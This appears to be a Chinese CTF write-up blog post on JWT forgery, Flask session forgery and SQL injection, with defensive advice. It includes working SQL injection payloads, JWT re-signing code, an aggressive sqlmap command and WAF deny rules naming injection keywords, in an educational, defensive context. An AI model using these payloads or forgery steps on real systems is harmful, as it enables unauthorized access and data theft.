JWT伪造与SQL注入实战:Web安全攻防解析

发布时间:2026/10/26 2:24:30
JWT伪造与SQL注入实战:Web安全攻防解析

1. PCTF解题报告:从JWT伪造到SQL注入的实战复盘

最近参加了一场PCTF网络安全竞赛,遇到了几个典型的安全挑战,涉及JWT伪造、Flask会话劫持和SQL注入等常见漏洞。作为安全从业者,这类比赛不仅能检验技能,更能发现实际开发中容易被忽视的安全隐患。下面我将详细拆解解题过程,这些技术同样适用于企业级安全防护。

2. JWT安全漏洞分析与利用

2.1 JWT基础结构解析

JSON Web Token由三部分组成,通过点号分隔:

  • Header:声明令牌类型和签名算法(如HS256、RS256)
  • Payload:包含声明(claims)如用户ID、过期时间等
  • Signature:对前两部分的签名验证

典型漏洞场景是当服务端使用弱密钥或未验证签名算法时,攻击者可伪造任意身份。比赛中遇到的题目正是使用了默认密钥"secret"的HS256算法。

2.2 实战伪造过程

  1. 使用jwt.io在线工具解码获取的token
  2. 修改payload中的admin字段为true
  3. 用已知密钥重新签名(已知密钥为"secret"时)
  4. 替换原token发送请求
# Python示例代码 import jwt original_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJhZG1pbiI6ZmFsc2V9.7ZJQ7yFZQYw7z3X3j3X3j3X3j3X3j3X3j3X3j3X3j3X3" payload = jwt.decode(original_token, verify=False) payload['admin'] = True new_token = jwt.encode(payload, "secret", algorithm="HS256")

关键点:生产环境必须使用强密钥(推荐32字节以上随机字符串)并定期轮换,禁用none算法

3. Flask会话伪造技术剖析

3.1 Flask会话机制安全缺陷

Flask的session cookie使用以下结构:

  1. 序列化会话数据(默认pickle)
  2. 使用密钥签名(防止篡改但可读)
  3. 不加密存储(内容可被解码)

通过flask_session_cookie_manager3工具可解码和伪造:

python3 flask_session_cookie_manager3.py decode -c "<cookie>" -s "weaksecret"

3.2 防护方案对比

方案优点缺点
强密钥简单有效密钥泄露风险
会话存储服务端最安全需要额外基础设施
定期过期限制攻击窗口影响用户体验
绑定用户指纹防止会话劫持可能产生误判

4. SQL注入全链路攻防

4.1 常见注入类型实战

比赛中出现的几种注入场景:

  1. 布尔盲注:
admin' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
  1. 时间盲注:
1' UNION SELECT IF(SUBSTRING(database(),1,1)='a',sleep(3),0),2,3--
  1. 报错注入:
1' AND ExtractValue(1, CONCAT(0x5c,(SELECT database())))--

4.2 防御方案深度优化

  1. 参数化查询(以Python为例):
# 错误示范 cursor.execute("SELECT * FROM users WHERE username = '%s'" % username) # 正确做法 cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
  1. ORM安全实践:
  • MyBatis严格使用#{}而非${}
  • Django ORM避免使用extra()等原生SQL方法
  • Laravel的Eloquent禁用raw query
  1. WAF规则配置示例:
location / { # 拦截常见SQL注入特征 if ($args ~* "union.*select") { return 403; } if ($request_uri ~* "(\'|\")(.*)(drop|alter|truncate)") { return 403; } }

5. PHP安全特例分析

5.1 典型漏洞模式

  1. 动态包含漏洞:
// 危险代码 include($_GET['page'].".php"); // 修复方案 $allowed = ['home','about','contact']; if(in_array($_GET['page'], $allowed)) { include($_GET['page'].".php"); }
  1. 反序列化漏洞:
// 危险操作 unserialize($_COOKIE['data']); // 安全建议 使用json_encode/json_decode替代序列化

5.2 ThinkPHP框架加固

针对比赛中遇到的ThinkPHP3.2.3漏洞:

  1. 及时升级到最新安全版本
  2. 关闭DEBUG模式
  3. 过滤输入参数:
I('get.id',0,'intval'); // 强制转换为整数

6. 防御体系构建建议

6.1 分层防护策略

层级防护措施实施示例
网络层WAF配置正则过滤注入特征
系统层权限最小化数据库账户只读权限
应用层安全编码参数化查询+输入验证
数据层加密存储敏感字段AES加密
监控层日志审计SQL语句异常检测

6.2 安全开发生命周期

  1. 设计阶段:
  • 威胁建模(STRIDE方法)
  • 安全架构评审
  1. 开发阶段:
  • 使用安全编码规范
  • 静态代码扫描(SonarQube等)
  1. 测试阶段:
  • 渗透测试(Burp Suite自动化)
  • 模糊测试(SQLMap等工具)
  1. 运维阶段:
  • 实时监控(ELK日志分析)
  • 应急响应预案

7. CTF实战经验总结

  1. 信息收集技巧:
  • 检查robots.txt和.git目录
  • 分析HTTP头(Server/X-Powered-By)
  • 尝试常见备份文件(index.php.bak等)
  1. 工具链优化配置:
# SQLMap高效使用技巧 sqlmap -u "http://target.com?id=1" --batch --smart --level=3 --risk=3 --tamper=space2comment
  1. 调试技巧:
  • PHP错误开启:
ini_set('display_errors', 1); error_reporting(E_ALL);
  • Python Flask调试模式:
app.run(debug=True) # 仅限开发环境

在真实业务系统中,建议建立SDL(安全开发生命周期)流程,将安全防护贯穿从需求分析到运维监控的全过程。对于关键业务接口,应当实施二次认证和请求签名机制。我在金融行业实践中发现,结合行为分析的动态防护往往比静态规则更有效,比如检测异常查询模式(短时间内大量分页查询等)。